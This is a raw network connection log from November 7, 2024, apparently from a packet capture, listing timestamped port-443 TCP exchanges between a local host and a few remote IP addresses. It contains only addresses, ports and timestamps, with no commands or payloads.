Nov 7, 2024 23:47:33.084383011 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.084393978 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.088965893 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.089314938 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.089838028 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.089838028 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.089860916 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.089871883 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.092226028 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.092242002 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.092314005 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.092489958 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.092500925 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.153844118 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.154078960 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.154186010 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.154357910 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.154357910 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.154366970 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.154375076 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.156781912 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.156819105 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.157051086 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.157299995 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.157324076 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.253416061 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:33.253434896 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:33.801928997 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.802838087 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.802864075 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.803390980 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.803395987 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.809006929 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.809374094 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.809396029 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.809824944 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.809830904 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.812756062 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.813062906 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.813081980 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.813432932 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.813440084 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.821387053 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.821681976 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.821695089 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.822041988 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.822046041 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.896002054 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.896359921 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.896375895 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.897288084 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.897293091 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.935873032 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.936111927 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.936158895 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.936218977 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.936234951 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.936243057 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.936248064 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.939446926 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.939471960 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.939564943 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.940496922 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.940506935 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.940969944 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.941258907 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.941314936 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.941375971 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.941390991 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.941401958 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.941406012 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.942785978 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.943222046 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.943281889 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.943557978 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.943562984 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.943571091 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.943573952 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.945055008 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.945086956 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.945136070 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.945286989 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.945300102 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.946449995 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.946459055 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.946511984 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.946688890 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.946697950 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.960519075 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.960865021 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.960920095 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.960932016 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.960936069 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.960952044 CET	49803	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.960954905 CET	443	49803	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.963305950 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.963324070 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.963373899 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.963552952 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.963562965 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.067222118 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.068249941 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.068274021 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.069917917 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.069922924 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.069962978 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.069969893 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.172765970 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.172826052 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.172888041 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.173096895 CET	49804	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.173111916 CET	443	49804	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.177504063 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.177531958 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.177596092 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.177962065 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.177974939 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.445286036 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.445308924 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.445349932 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.445427895 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.445451975 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.445483923 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.445955038 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.445969105 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.445982933 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.446099997 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.446129084 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.446235895 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.547816038 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.547851086 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.548001051 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.548233032 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:34.548247099 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:34.660007000 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.661122084 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.661122084 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.661137104 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.661144972 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.675570965 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.676163912 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.676191092 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.677167892 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.677175045 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.689374924 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.690306902 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.690320015 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.690771103 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.690774918 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.698565006 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.699172974 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.699193001 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.700033903 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.700038910 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.790035963 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.790296078 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.790410995 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.790821075 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.790834904 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.790867090 CET	49805	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.790872097 CET	443	49805	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.793428898 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.793457031 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.793596029 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.793772936 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.793787003 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.804127932 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.804198980 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.804296017 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.804332972 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.804332972 CET	49806	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.804344893 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.804358006 CET	443	49806	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.806310892 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.806332111 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.806549072 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.806549072 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.806574106 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.820360899 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.821373940 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.821579933 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.821635008 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.821635008 CET	49807	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.821650982 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.821657896 CET	443	49807	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.823820114 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.823844910 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.824028015 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.824103117 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.824125051 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.830105066 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.830152035 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.830276966 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.830364943 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.830378056 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.830383062 CET	49808	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.830388069 CET	443	49808	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.832756996 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.832767963 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.832937002 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.833106995 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.833127022 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.896857977 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.897511005 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.897530079 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:34.897872925 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:34.897880077 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.025676012 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.025862932 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.025979996 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.026211977 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.026226044 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.026258945 CET	49809	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.026264906 CET	443	49809	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.030498981 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.030524969 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.034077883 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.034537077 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.034559011 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.547013044 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.547612906 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.547640085 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.548302889 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.548310041 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.550088882 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.550555944 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.550570965 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.551367998 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.551383018 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.556330919 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.556663036 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.556682110 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.557012081 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.557017088 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.578502893 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.579035044 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.579047918 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.579534054 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.579538107 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.626332998 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:35.626426935 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:35.630947113 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:35.630956888 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:35.631181002 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:35.631746054 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:35.631788015 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:35.631829023 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:35.681904078 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.682236910 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.682301044 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.682979107 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.682979107 CET	49812	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.682991982 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.683000088 CET	443	49812	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.685802937 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.685808897 CET	49816	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.685843945 CET	443	49816	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.685900927 CET	49816	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.686044931 CET	49816	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.686057091 CET	443	49816	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.686141968 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.686243057 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.686408997 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.686429977 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.686439991 CET	49813	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.686448097 CET	443	49813	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.689153910 CET	49817	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.689198017 CET	443	49817	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.689273119 CET	49817	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.689414024 CET	49817	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.689429045 CET	443	49817	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.709736109 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.710165024 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.710218906 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.710248947 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.710248947 CET	49814	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.710254908 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.710262060 CET	443	49814	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.713171959 CET	49818	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.713181973 CET	443	49818	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.713232040 CET	49818	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.713330030 CET	49818	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.713339090 CET	443	49818	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.779283047 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.779823065 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.779834032 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:35.780299902 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:35.780304909 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.097532988 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.097587109 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.097651005 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.097800970 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.097820044 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.097832918 CET	49815	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.097847939 CET	443	49815	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.097894907 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.097918034 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.097980976 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.098043919 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.098247051 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.098298073 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.098299980 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.099133968 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.099150896 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.099159956 CET	49810	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.099165916 CET	443	49810	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.102200031 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.102216959 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.102227926 CET	49811	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.102232933 CET	443	49811	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.104836941 CET	49819	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.104866028 CET	443	49819	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.105269909 CET	49819	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.105839968 CET	49820	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.105879068 CET	443	49820	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.105946064 CET	49820	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.106021881 CET	49819	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.106036901 CET	443	49819	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.106172085 CET	49820	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.106184959 CET	443	49820	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.125631094 CET	49821	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.125659943 CET	443	49821	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.125726938 CET	49821	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.125873089 CET	49821	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.125884056 CET	443	49821	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.137597084 CET	49822	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.137635946 CET	443	49822	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.137717962 CET	49822	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.137831926 CET	49822	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:36.137846947 CET	443	49822	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:36.411850929 CET	443	49816	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.412307024 CET	49816	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.412334919 CET	443	49816	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.412800074 CET	49816	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.412803888 CET	443	49816	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.421492100 CET	443	49817	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.422009945 CET	49817	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.422032118 CET	443	49817	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:36.422607899 CET	49817	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:36.422614098 CET	443	49817	13.107.246.45	192.168.2.5
